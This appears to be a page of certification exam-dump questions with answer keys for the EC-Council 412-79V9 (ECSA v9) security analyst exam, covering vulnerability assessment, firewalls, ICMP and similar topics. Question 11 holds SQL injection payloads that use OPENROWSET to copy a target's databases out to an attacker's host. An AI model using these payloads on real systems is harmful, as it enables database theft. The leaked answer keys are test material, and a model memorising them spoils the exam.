412-79V9 Exam Questions and Answers

QUESTION: 9

Which of the following approaches to vulnerability assessment relies on the administrator providing baseline of system configuration and then scanning continuously without incorporating any information found at the time of scanning?

Service-based Assessment Solutions
Product-based Assessment Solutions
Tree-based Assessment
Inference-based Assessment

Answer(s): C

Reference:

http://www.netsense.info/downloads/security_wp_mva.pdf (page 12, tree-based assessment technology, second para)

Reveal Solution Next Question

QUESTION: 10

Today, most organizations would agree that their most valuable IT assets reside within applications and databases. Most would probably also agree that these are areas that have the weakest levels of security, thus making them the prime target for malicious activity from system administrators, DBAs, contractors, consultants, partners, and customers.

Which of the following flaws refers to an application using poorly written encryption code to securely encrypt and store sensitive data in the database and allows an attacker to steal or modify weakly protected data such as credit card numbers, SSNs, and other authentication credentials?

SSI injection attack
Insecure cryptographic storage attack
Hidden field manipulation attack
Man-in-the-Middle attack

Answer(s): B

Reveal Solution Next Question

QUESTION: 11

A penetration tester tries to transfer the database from the target machine to a different machine. For this, he uses OPENROWSET to link the target database to his own database, replicates the database structure, and transfers the data to his machine by via a connection to the remote machine on port 80.
The query he used to transfer databases was:
'; insert into OPENROWSET
('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP, 80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases
The query he used to transfer table 1 was:
'; insert into OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP, 80;', 'select * from
mydatabase..table1') select * from database..table1
What query does he need in order to transfer the column?

'; insert into
OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP, 8 0;', 'select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.systables
'; insert into
OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP, 8 0;', 'select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.sysrows
'; insert into
OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP, 8 0;', 'select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns
'; insert into
OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP, 8 0;', 'select * from mydatabase..hacked_syscolumns') select * from user_tables.dbo.syscolumns

Answer(s): C

Reveal Solution Next Question

QUESTION: 12

Packet filtering firewalls are usually a part of a router. In a packet filtering firewall, each packet is compared to a set of criteria before it is forwarded.
Depending on the packet and the criteria, the firewall can:

i). Drop the packet
ii). Forward it or send a message to the originator

At which level of the OSI model do the packet filtering firewalls work?

Application layer
Physical layer
Transport layer
Network layer

Answer(s): D

Reference:

http://books.google.com.pk/books?id=KPjLAyA7HgoC&pg=PA208&lpg=PA208&dq=At+whi ch+level+of+the+OSI+model+do+the+packet+filtering+firewalls+work&source=bl&ots=zRrb cmY3pj&sig=I3vuS3VA7r-3VF8lC6xq_c_r31M&hl=en&sa=X&ei=wMcfVMetI8HPaNSRgPgD&ved=0CC8Q6AEwAg#v=onepage&q=At%20which%20level%20of%20the%20OSI%20model%20do%20the%20pa cket%20filtering%20firewalls%20work&f=false (packet filters)

Reveal Solution Next Question

QUESTION: 13

An antenna is a device that is designed to transmit and receive the electromagnetic waves that are generally called radio waves. Which one of the following types of antenna is developed from waveguide technology?

Leaky Wave Antennas
Aperture Antennas
Reflector Antenna
Directional Antenna

Answer(s): B

Reveal Solution Next Question

QUESTION: 14

Firewall and DMZ architectures are characterized according to its design. Which one of the following architectures is used when routers have better high-bandwidth data stream handling capacity?

Weak Screened Subnet Architecture
"Inside Versus Outside" Architecture
"Three-Homed Firewall" DMZ Architecture
Strong Screened-Subnet Architecture

Answer(s): A

Reveal Solution Next Question

QUESTION: 15

Which one of the following tools of trade is a commercial shellcode and payload generator written in Python by Dave Aitel?

Microsoft Baseline Security Analyzer (MBSA)
CORE Impact
Canvas
Network Security Analysis Tool (NSAT)

Answer(s): C

Reveal Solution Next Question

QUESTION: 16

Internet Control Message Protocol (ICMP) messages occur in many situations, such as whenever a datagram cannot reach the destination or the gateway does not have the buffering capacity to forward a datagram. Each ICMP message contains three fields: type, code, and checksum. Different types of Internet Control Message Protocols (ICMPs) are identified by a TYPE field. If the destination is not reachable, which one of the following are generated?

Type 8 ICMP codes
Type 12 ICMP codes
Type 3 ICMP codes
Type 7 ICMP codes

Answer(s): C

Reveal Solution Next Question

EC-Council 412-79V9 Exam (page: 2) EC-Council Certified Security Analyst (ECSA) v9 Updated on: 12-Feb-2026

QUESTION: 9

Reference:

QUESTION: 10

QUESTION: 11

QUESTION: 12

Reference:

QUESTION: 13

QUESTION: 14

QUESTION: 15

QUESTION: 16

EC-Council 412-79V9 Exam (page: 2)
EC-Council Certified Security Analyst (ECSA) v9
Updated on: 12-Feb-2026